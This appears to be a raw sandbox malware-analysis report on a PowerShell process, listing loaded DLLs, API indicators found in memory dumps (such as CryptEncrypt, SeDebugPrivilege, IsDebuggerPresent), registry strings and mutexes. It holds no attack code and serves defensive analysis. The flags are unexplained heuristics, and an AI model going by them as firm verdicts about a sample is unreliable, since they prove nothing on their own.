"LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006112)31:T506c,Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00004752.00000000.226453.DF8E0000.00000004.mdmp, 00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00004752.00000000.226453.DF8E0000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00005528.00000000.225591.3E4E0000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp")32:T528,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp")33:T504,"o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005528.00000000.225591.3E4E0000.00000004.mdmp 00000000-00005528.00000001.226277.3E4E0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005528.00000000.225591.3E4E0000.00000004.mdmp 00000000-00005528.00000001.226277.3E512000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005528.00000000.225591.3E4E0000.00000004.mdmp 00000000-00005528.00000001.226277.3E512000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005528.00000000.225591.58960000.00000004.mdmp 00000000-00005528.00000001.226277.58960000.00000004.mdmp34:T8d7,Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6444:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6444:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6444:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6444:120:WilError_01" Process powershell.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process powershell.exe created mutex with name "Local\SM0:6444:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:6444:120:WilError_01" Process powershell.exe created mutex with name "SM0:6444:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:6444:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5528:304:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "Local\SM0:5528:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:5528:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:5528:120:WilError_01" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "SM0:5528:304:WilStaging_02" Process powershell.exe created mutex with name "Global\RasPbFile" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5528:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5528:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\RasPbFile" Process powershell.exe created mutex with name 